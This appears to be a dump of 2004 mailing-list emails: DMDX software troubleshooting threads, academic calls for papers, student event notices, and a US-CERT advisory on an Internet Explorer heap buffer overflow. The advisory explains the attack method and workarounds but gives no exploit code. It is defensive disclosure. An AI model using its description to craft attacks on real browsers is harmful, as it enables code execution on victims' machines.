> Thanks, > > Matt, SOO @ NWS RAP ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 11:05:52 -0000",[DMDX] No BMP's or JPG's get displayed,"Hi, For some completely unknown reason, DMDX on my computer stopped being able to display bmp's or JPG's this morning (where they are supposed to be shown, theres a black screen, no error reported). Everything else works perfectly (video's still work, text is still displayed). The problem started when my experiment started only showing 1/2 of the pictures I asked it to show. I thought it was an error in my script, but past expt's that I have run without a hitch also didn't work. After updating my version of DMDX to the latest version, now all of bmps and jpgs that I try to display simply do not get shown. I've tried using all of the options such as ""DMDX for really bad graphics cards"", changing graphics resolutions, resetting, vigorously shaking the comp, etc, but nothing so far has worked (will give the shacking bit another try shortly). Any suggestions would be most helpful! My suspicion at the mo is a faulty graphics card, or some weird interaction with the card and the headmounted display + monitor I'm running from it (although this combination has been working perfectly for a while now). Cheers, Andy. ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 11:20:41 +0000",[DMDX] Re: No BMP's or JPG's get displayed,"At 11:05 10/11/2004 +0000, you wrote: >Hi, > >For some completely unknown reason, DMDX on my computer stopped being able >to display bmp's or JPG's this morning (where they are supposed to be shown, >theres a black screen, no error reported). Everything else works perfectly >(video's still work, text is still displayed). The problem started when my >experiment started only showing 1/2 of the pictures I asked it to show. I >thought it was an error in my script, but past expt's that I have run >without a hitch also didn't work. After updating my version of DMDX to the >latest version, now all of bmps and jpgs that I try to display simply do not >get shown. I've tried using all of the options such as ""DMDX for really bad >graphics cards"", changing graphics resolutions, resetting, vigorously >shaking the comp, etc, but nothing so far has worked (will give the shacking >bit another try shortly). Any suggestions would be most helpful! My >suspicion at the mo is a faulty graphics card, or some weird interaction >with the card and the headmounted display + monitor I'm running from it >(although this combination has been working perfectly for a while now). Have you tried updating the graphics driver? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Dr. Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 12:03:30 -0000",[DMDX] RE: Re: No BMP's or JPG's get displayed,"Hi Mike, I’ve just done a ‘systems restore’ to a few days ago, and I’m back to my old problem of only some graphics being displayed (older version of dmdx being used). The strange thing is, bmp’s now only stop showing after 7 trials (my code being identical across trials). This happens repeatedly. I tried your suggestion (update video drivers) and now for the trials succeeding the 7th trial, a bmp gets displayed for a tiny fraction of a second and then disappears. After, I tried installing the latest version of DMDX again, and now no graphics get displayed. Here’s a demo expt I created to try to figure out what is happening (sorry about the messiness of the code): 0 ""Press SPACE to continue""; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""j"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""k"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""l"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""m"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""n"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""o"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""p"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""q"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""r"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""s"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""o"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""p"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""q"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""r"" / , /; 0 ""Please Wait… 1.0020j"" ; =1002 ""CROSS"" / * ""s"" / , /; 0 ""end""; Any suggestions will be most appreciated. Thanks, Andy. ________________________________________ From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Mike Ford Sent: 10 November 2004 11:21 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: No BMP's or JPG's get displayed At 11:05 10/11/2004 +0000, you wrote: Hi, For some completely unknown reason, DMDX on my computer stopped being able to display bmp's or JPG's this morning (where they are supposed to be shown, theres a black screen, no error reported).  Everything else works perfectly (video's still work, text is still displayed).  The problem started when my experiment started only showing 1/2 of the pictures I asked it to show.  I thought it was an error in my script, but past expt's that I have run without a hitch also didn't work.  After updating my version of DMDX to the latest version, now all of bmps and jpgs that I try to display simply do not get shown. I've tried using all of the options such as ""DMDX for really bad graphics cards"", changing graphics resolutions, resetting, vigorously shaking the comp, etc, but nothing so far has worked (will give the shacking bit another try shortly).  Any suggestions would be most helpful! My suspicion at the mo is a faulty graphics card, or some weird interaction with the card and the headmounted display + monitor I'm running from it (although this combination has been working perfectly for a while now). Have you tried updating the graphics driver? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Dr. Mike Ford      MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel:   +44 (0)1223 355294 ext 596   Fax:   +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo",0,0 Matt Davis ,"DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Wed, 10 Nov 2004 12:08:43 +0000",[DMDX] RE: Re: No BMP's or JPG's get displayed,"Hi Andy, This error (where the display fails after a certain number of trials) sometimes happens to us when we use NVidia cards which require the use of the ""-buffers "" option on the command line. Try running DMDX with ""-buffers 4"" and see if this helps. fingers crossed, Matt At 12:03 10/11/2004 +0000, Andy wrote: >Hi Mike, > >I’ve just done a ‘systems restore’ to a few days ago, and I’m back to my old >problem of only some graphics being displayed (older version of dmdx being >used). The strange thing is, bmp’s now only stop showing after 7 trials (my >code being identical across trials). This happens repeatedly. I tried your >suggestion (update video drivers) and now for the trials succeeding the 7th >trial, a bmp gets displayed for a tiny fraction of a second and then >disappears. > >After, I tried installing the latest version of DMDX again, and now no >graphics get displayed. > >Here’s a demo expt I created to try to figure out what is happening (sorry >about the messiness of the code): > > > ""keyboard""> > >0 ""Press SPACE to continue""; > >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""j"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""k"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""l"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""m"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""n"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""o"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""p"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""q"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""r"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""s"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""o"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""p"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""q"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""r"" / , /; >0 ""Please Wait… 1.0020j"" ; =1002 >""CROSS"" / * ""s"" / , /; > >0 ""end""; > > >Any suggestions will be most appreciated. Thanks, Andy. > > > >________________________________________ >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Mike Ford >Sent: 10 November 2004 11:21 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: No BMP's or JPG's get displayed > >At 11:05 10/11/2004 +0000, you wrote: > >Hi, > >For some completely unknown reason, DMDX on my computer stopped being able >to display bmp's or JPG's this morning (where they are supposed to be shown, >theres a black screen, no error reported). Everything else works perfectly >(video's still work, text is still displayed). The problem started when my >experiment started only showing 1/2 of the pictures I asked it to show. I >thought it was an error in my script, but past expt's that I have run >without a hitch also didn't work. After updating my version of DMDX to the >latest version, now all of bmps and jpgs that I try to display simply do not >get shown. I've tried using all of the options such as ""DMDX for really bad >graphics cards"", changing graphics resolutions, resetting, vigorously >shaking the comp, etc, but nothing so far has worked (will give the shacking >bit another try shortly). Any suggestions would be most helpful! My >suspicion at the mo is a faulty graphics card, or some weird interaction >with the card and the headmounted display + monitor I'm running from it >(although this combination has been working perfectly for a while now). > >Have you tried updating the graphics driver? > >- Mike > > >oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > >*** Note New Extension - 596 *** > >Dr. Mike Ford >MRC Cognition & Brain Sciences Unit >15 Chaucer Rd, Cambridge, CB2 2EF, UK. >Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 > >oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 273 637 (direct line) tel: 01223 355 294 (reception) fax: 01223 359 062 ****************************************************",0,1 Andy ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 13:41:08 -0000",[DMDX] RE: RE: Re: No BMP's or JPG's get displayed,"Thanks for your suggestions. I think the problem arose due to a mixture of bad coding* and my graphics card being very iffy with the latest version of dmdx. The below code, in combination with ""DMDX for GeForce graphics cards"", and also using DMDX version 3.0.1.3, lets me present pictures as I require. However, my graphics card is definitely not behaving with the latest version of dmdx, as none of my previous correctly coded experiments display any pictures at all using the latest version. I reckon someone in a similar predicament should go ahead with Gareth's idea of fiddling with buffer settings**. Thanks again, Andy. 0 ""Press SPACE to continue""; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""Please Wait. 1.0020j"" ; =1002 ""CROSS"" / * ""j"" /! ; 0 ""end""; * I wanted pictures to remain on the screen until a button press. I used the ending ""/ , /;"" previously, which probably explains why my bmp's appeared very briefly and then disappeared. **last 4 months of phd and still testing. Can't risk not having this machine to test on! Will look into the problem when I stop testing. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Matt Davis Sent: 10 November 2004 12:09 To: DMDX@psy1.psych.arizona.edu; DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: No BMP's or JPG's get displayed Hi Andy, This error (where the display fails after a certain number of trials) sometimes happens to us when we use NVidia cards which require the use of the ""-buffers "" option on the command line. Try running DMDX with ""-buffers 4"" and see if this helps. fingers crossed, Matt At 12:03 10/11/2004 +0000, Andy wrote: >Hi Mike, > >I've just done a 'systems restore' to a few days ago, and I'm back to my old >problem of only some graphics being displayed (older version of dmdx being >used). The strange thing is, bmp's now only stop showing after 7 trials (my >code being identical across trials). This happens repeatedly. I tried your >suggestion (update video drivers) and now for the trials succeeding the 7th >trial, a bmp gets displayed for a tiny fraction of a second and then >disappears. > >After, I tried installing the latest version of DMDX again, and now no >graphics get displayed. > >Here's a demo expt I created to try to figure out what is happening (sorry >about the messiness of the code): > > > ""keyboard""> > >0 ""Press SPACE to continue""; > >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""j"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""k"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""l"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""m"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""n"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""o"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""p"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""q"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""r"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""s"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""o"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""p"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""q"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""r"" / , /; >0 ""Please Wait. 1.0020j"" ; =1002 >""CROSS"" / * ""s"" / , /; > >0 ""end""; > > >Any suggestions will be most appreciated. Thanks, Andy. > > > >________________________________________ >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Mike Ford >Sent: 10 November 2004 11:21 >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: No BMP's or JPG's get displayed > >At 11:05 10/11/2004 +0000, you wrote: > >Hi, > >For some completely unknown reason, DMDX on my computer stopped being able >to display bmp's or JPG's this morning (where they are supposed to be shown, >theres a black screen, no error reported). Everything else works perfectly >(video's still work, text is still displayed). The problem started when my >experiment started only showing 1/2 of the pictures I asked it to show. I >thought it was an error in my script, but past expt's that I have run >without a hitch also didn't work. After updating my version of DMDX to the >latest version, now all of bmps and jpgs that I try to display simply do not >get shown. I've tried using all of the options such as ""DMDX for really bad >graphics cards"", changing graphics resolutions, resetting, vigorously >shaking the comp, etc, but nothing so far has worked (will give the shacking >bit another try shortly). Any suggestions would be most helpful! My >suspicion at the mo is a faulty graphics card, or some weird interaction >with the card and the headmounted display + monitor I'm running from it >(although this combination has been working perfectly for a while now). > >Have you tried updating the graphics driver? > >- Mike > > >oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > >*** Note New Extension - 596 *** > >Dr. Mike Ford >MRC Cognition & Brain Sciences Unit >15 Chaucer Rd, Cambridge, CB2 2EF, UK. >Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 > >oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== **************************************************** Dr Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 273 637 (direct line) tel: 01223 355 294 (reception) fax: 01223 359 062 **************************************************** ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 C A Ankerstein ,DMDX mailing list ,"Wed, 10 Nov 2004 15:11:44 +0000",[DMDX] faulty presentation,"Hi All, I'm running a lexical decision task using a black background and white stimuli. On some trials there are white dots on a line below and/or above the stimulus--what are these and how can I get rid of them? Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 15:29:58 +0000",[DMDX] Re: faulty presentation,"At 15:11 10/11/2004 +0000, you wrote: >Hi All, > >I'm running a lexical decision task using a black background and white >stimuli. >On some trials there are white dots on a line below and/or above the >stimulus--what are these and how can I get rid of them? > > >Thanks, > > >Carrie Might be the stray pixels problem which can be sorted with the keyword described in the documentation. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Dr. Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 08:34:49 -0700",[DMDX] Re: No BMP's or JPG's get displayed,"At 01:41 PM 11/10/2004 +0000, you wrote: >Thanks for your suggestions. I think the problem arose due to a mixture of >bad coding* and my graphics card being very iffy with the latest version of >dmdx. The below code, in combination with ""DMDX for GeForce graphics >cards"", and also using DMDX version 3.0.1.3, lets me present pictures as I >require. However, my graphics card is definitely not behaving with the >latest version of dmdx, as none of my previous correctly coded experiments >display any pictures at all using the latest version. I reckon someone in a >similar predicament should go ahead with Gareth's idea of fiddling with >buffer settings**. That's what ""DMDX for GeForce graphics cards"" does for you, specifically it runs with -buffers 4. We've seen increased sensitivity with cards that previously had no troubles (TNT2) and my guess is that something has changed with SP2 of XP as none of the changes I've made in many months have been to fundamental graphics stuff. However if a graphics driver is misbehaving all I have to do is change the size of an executable and failures will change their manifestation. You certainly can't use 256 color video modes any more and the ""DMDX for GeForce graphics cards"" shortcut appears to have solved the problems we've seen. It's possible that the GDI+ fixes from Microsoft are the culprits as that's code that DMDX is likely to be using. It's possible that changing file formats that the images use will solve the issue, use JPGs if you're using BMPs and vice versa. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ PHILANTHROPIST, n. A rich (and usually bald) old gentleman who has trained himself to grin while his conscience is picking his pocket. - Ambrose Bierce The Devil's Dictionary ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Nov 2004 08:38:21 -0700",[DMDX] Re: faulty presentation,"At 03:11 PM 11/10/2004 +0000, you wrote: >Hi All, > >I'm running a lexical decision task using a black background and white >stimuli. >On some trials there are white dots on a line below and/or above the >stimulus--what are these and how can I get rid of them? You need to change the options as the font you're using is bigger than Windows says it is. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ PHILANTHROPIST, n. A rich (and usually bald) old gentleman who has trained himself to grin while his conscience is picking his pocket. - Ambrose Bierce The Devil's Dictionary",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Wed, 10 Nov 2004 08:07:12 -0700",Calculemus 2005 (forwarding) ,"Because of the close relation between computer-aided verification and interval computations, this conference may be of interest to interval computations researchers. ------------- Begin Forwarded Message ------------- From: ""Jacques Carette"" Calculemus 2005 12th Symposium on the Integration of Symbolic Computation and Mechanized Reasoning July 18-19, 2005 http://imps.mcmaster.ca/calculemus-2005/ In conjunction with Formal Methods 2005 University of Newcastle upon Tyne, United Kingdom July 18-22, 2005 http://www.csr.ncl.ac.uk/fm05/ PRELIMINARY CALL FOR PAPERS General: The Calculemus Interest Group (http://www.calculemus.net/) is dedicated to advancing the integration of symbolic computation and formal deduction in mathematical software systems and computer-aided verification tools. Calculemus has previously sponsored a series of 11 symposia starting in 1996 whose aim is to bring together researchers interested in this objective. (Calculemus was also part of IJCAR 2004.) This series is the major forum for the presentation of research in combining the capabilities of computer algebra systems and computer deduction systems. Calculemus 2005, the 12th symposium in the series, will be held July 18-19, 2005 at the University of Newcastle upon Tyne, United Kingdom in conjunction with Formal Methods 2005. A principal theme of Calculemus 2005 will be interactions with formal methods, including problems in formal methods which require a mixture of computing and proving, and applications of formal methods to the construction of integrated systems. Scope: Calculemus 2005 welcomes research papers on all aspects of integrating symbolic computation and formal deduction including: o Combining computer algebra and computer deduction systems. o Adding deductive capabilities to computer algebra systems. o Adding computational capabilities to computer deduction systems. o Combining methods of symbolic computation and formal deduction. o Design and implementation issues in integrated systems. o Formal method problems requiring mixed computing and proving. o Applications of formal methods to the construction of integrated systems. o Case studies and applications. Submissions: Authors are invited to submit papers in the following two categories: o Research papers up to 15 pages describing original theoretical or applied research that has not been published elsewhere. o System descriptions up to 5 pages describing new systems, significant upgrades of existing systems, or experiments using systems. The papers should be prepared following the LNCS guidelines and should be submitted electronically. Further information and submission instructions will be posted at the Calculemus 2005 web page http://imps.mcmaster.ca/calculemus-2005/. Important dates: E-submission of title and abstract: February 18, 2005 E-submission deadline: March 11, 2005 Notification of acceptance: April 15, 2005 Final versions due: May 13, 2005 Symposium: July 18-19, 2005 Program committee: TBA Symposium chairs: Jacques Carette William Farmer McMaster University Hamilton, Ontario, Canada {carette,wmfarmer}@mcmaster.ca ------------- End Forwarded Message -------------",0,1 Chandan Deuskar ,undisclosed-recipients:;,"Wed, 10 Nov 2004 11:33:28 -0500",SIU International Political Discussion,"Hi, This is Chandan, co-president of the Society for International Undergraduates. This Thursday, 11th November, we are holding a discussion where we'll talk about the international students' perspective of US elections, George W. Bush, Kerry etc. and what they see as their role in US politics. We hope your club can either send someone to our event or advertise it via email. We welcome all voices, not just international students, but int'l students would be especially welcome. Below is the info about the event. We would be glad to know about your events and encourage our members to attend, if they are relevant to international students. Thanks. ~Chandan Deuskar SIU --------------------------------- International Students and American Politics – A Discussion **Thursday November 11** The race is over, and Bush is the US President again. Are you feeling triumphant? Scared out of your wits? Apathetic? On Thursday night, join us in our double themed discussion: * As an international student, do you have a duty to take a stance on US politics? Do you even have a right to? *What are the implications and consequences of Bush's re-election on your home country? We're also inviting other interested parties such as the Columbia Political Union and perhaps a professor. Munch on yummy international food, hang out with your fellow worldly mates, and express and hear other international views. All are welcome in this friendly discussion! ",0,0 Miriam Datskovsky ,"asa@columbia.edu, mc2038@barnard.edu, onn1@columbia.edu, lat2001@columbia.edu, sv2008@columbia.edu, csc@columbia.edu, siy2001@columbia.edu, dcs2001@columbia.edu, cisa@columbia.edu, hgm2001@columbia.edu, mp2025@columbia.edu, hapa@columbia.edu, naa20@columbia.edu, hw2006@columbia.edu, jj2078@columbia.edu, tizoc@columbia.edu, romanianclub@columbia.edu, myt2001@columbia.edu, societa@columbia.edu, dyc2005@columbia.edu, rs2020@olumbia.edu, ss2046@columbia.edu, ak2273@columbia.edu, aap2003@columbia.edu, rnh2101@columbia.edu, rer2003@columbia.edu","Wed, 10 Nov 2004 11:46:47 -0500",Party for Prisoners of Conscience - PLEASE SEND TO YOUR ENTIRE CLUB,"Amnesty International and the Intercultural Resource Center are holding a party to raise money to support our efforts to release Yuri Bandazhevsky of Belarus and Sgt. Camilo Mejia Castillo of the US military, both prisoners of conscience (people who have been arrested for voicing their opinions). The party is being held this Saturday, November 15th at 10 PM at the Intercultural Resource Center. Admission is $2. If you would like to co-sponsor, please contact me immediately (Miriam - md2207@columbia.edu). Please forward the below to your list-serve. I have also attached a flyer to forward in addition to the email, or to hand out at a meeting, etc. Thanks, Miriam Datskovsky Publicity Cooordinator Columbia University Amnesty International -------------------------------------------------------------------- PARTY FOR PRISONERS OF CONSCIENCE this Saturday November 15, 10 PM at The Intercultural Resource Center, 552 W 114th St, 2nd Floor Your $2 at the door will go to support efforts to release two prisoners of conscience, Yuri Bandazhevsky of Belarus and Sgt. Camilo Mejia Castillo of the US military COME PARTY AND MAKE A DIFFERENCE AT THE SAME TIME! Sponsored by Columbia University Amnesty International and the Intercultural Resource Center.",1,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 10 Nov 2004 15:19:06 -0500",US-CERT Technical Cyber Security Alert TA04-315A -- Buffer Overflow in Microsoft Internet Explorer ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-315A Buffer Overflow in Microsoft Internet Explorer Original release date: November 10, 2004 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows systems running * Internet Explorer versions 6.0 and later; previous versions of Internet Explorer may also be affected * Other programs that host the WebBrowser ActiveX control Overview Microsoft Internet Explorer (IE) contains a buffer overflow vulnerability that could allow a remote attacker to execute arbitrary code with the privileges of the user running IE. I. Description A buffer overflow vulnerability exists in the way IE handles the SRC and NAME attributes of various elements, including FRAME, IFRAME, and EMBED. Because IE fails to properly check the size of the NAME and SRC attributes, a specially crafted HTML document can cause a buffer overflow in heap memory. Due to the dynamic nature of the heap, it is usually difficult for attackers to execute arbitrary code using this type of vulnerability. However, if heap memory is prepared in a special manner, an attacker could execute arbitrary code more easily. Publicly observed exploits use scripting to prepare the heap, though this may be accomplished without scripting. Without the ability to prepare the heap, the impact is most likely limited to denial of service. This vulnerability is described in further detail in VU#842160. II. Impact By convincing a user to view a specially crafted HTML document (e.g., a web page or an HTML email message), an attacker could execute arbitrary code with the privileges of the user. The attacker could also cause IE (or any program that hosts the WebBrowser ActiveX control) to crash. Reports indicate that this vulnerability is being exploited by malicious code propagated via email. When a user clicks on a URL in a malicious email message, IE opens and displays an HTML document that exploits the vulnerability. This malicious code may be referred to as MyDoom.{AG,AH,AI} or Bofra. III. Solution Until a complete solution is available from Microsoft, consider the following workarounds: Install Windows XP SP2 Microsoft Windows XP SP2 does not appear to be affected by this vulnerability. If you are using Windows XP, please update to SP2. Disable Active scripting To help protect against attacks that use scripting to prepare the heap, disable Active scripting in any zone used to render untrusted HTML content (typically the Internet Zone and Restricted Sites Zone). Instructions for disabling Active scripting in the Internet Zone can be found in the Malicious Web Scripts FAQ. Do not follow unsolicited links Do not click on unsolicited URLs received in email, instant messages, web forums, or Internet relay chat (IRC) channels. While this is generally good security practice, following this behavior will not prevent exploitation of this vulnerability in all cases. For example, a trusted web site could be compromised and modified to deliver exploit script to unsuspecting clients. Read and send email in plain text format Outlook 2003, Outlook 2002 SP1, and Outlook 6 SP1 can be configured to view email messages in text format. Consider the security of fellow Internet users and send email in plain text format when possible. Note that reading and sending email in plain text will not necessarily prevent exploitation of this vulnerability. Maintain updated anti-virus software Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page. Appendix A. References * Vulnerability Note VU#842160 - * Windows XP SP2 - * Malicious Web Scripts FAQ - * US-CERT Computer Virus Resources Page - * About the Browser (Internet Explorer - WebBrowser) - _________________________________________________________________ Feedback can be directed to the authors: Will Dormann and Art Manion. Send mail to . Please include the Subject line ""TA04-315A Feedback VU#842160"". _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Revision History November 10, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQZJ1mBhoSezw4YfQAQI3iAf+LS3++j7u55GXcK2sKED6gi8ZHTXY/85t 0Z2bsLVkvQYq7FmDMRZR1Id9gGadzbj+FvaCoilAqcfxjNG8MrDwuuZ/w2/F2zLn ybOsQK5qdIcU7InbVWiWwi4oNSmTkWqtbM4YtYISPRVpvfvgAFKjhGJFGtniu4qa rGdyqyxmMZnUY47MVyqy1umYPcMeMDExoeLEOCnKfxzxbTdYLz1pKA8Oru/tOGdP FaLj8S1i041dquKYtNb1dedUL6WlP2sy8hyk4Q+S5R0g0pfsETByNx4IsXJ+3fy3 a6uOqIn0q+ptqZ0Mv2f2XTCAi+tKeCHml1IaowDEBNzEPFi/yP3vOw== =LS8m -----END PGP SIGNATURE-----",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 10 Nov 2004 14:07:24 -0700",Computational Statistics Special Issue: forwarding ,"From: ""Francesco Palumbo (UniMC)"" Subject: Computational Statistics Special Issue Dear Colleagues, ... I am pleased to tell you that a special issue of Computational Statistics Journal on ""Statistical Analysis of Interval Data"" will be published. It is my great honor and pleasant duty to serve the Journal as the Guest Editor of the special issue. Please consider submitting a contribution. Please forward this message to other potential interested people. A detailed call for paper can be found at http://www.cs.utep.edu/interval-comp/stat05.pdf Best regards, Francesco Palumbo +=======================================================+ | Francesco 